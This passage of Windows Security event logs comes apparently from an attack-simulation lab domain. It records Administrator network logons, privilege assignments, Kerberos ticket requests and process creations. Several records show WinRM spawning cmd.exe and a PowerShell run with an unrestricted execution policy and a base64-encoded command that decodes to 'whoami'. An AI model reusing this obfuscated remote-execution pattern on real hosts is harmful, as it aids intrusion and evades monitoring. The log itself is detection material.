Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249660
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE75C3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249659
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE75C3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249658
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249657
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249656
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249655
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7153

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd74
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249654
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7153

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd74
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe88
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249653
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE73A8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249652
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE73A8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249651
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249650
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249649
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249648
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7153

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x378
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe88
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249647
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7153

Process Information:
	New Process ID:		0xe88
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249646
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7153

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249645
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7153
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249644
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249643
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249642
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249641
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7125

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249640
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7125

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249639
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE7125
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249638
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249637
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{31ACEE6B-E789-5BE7-EA20-1B2B6D163273}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249636
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249635
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE6443

Logon Type:			3

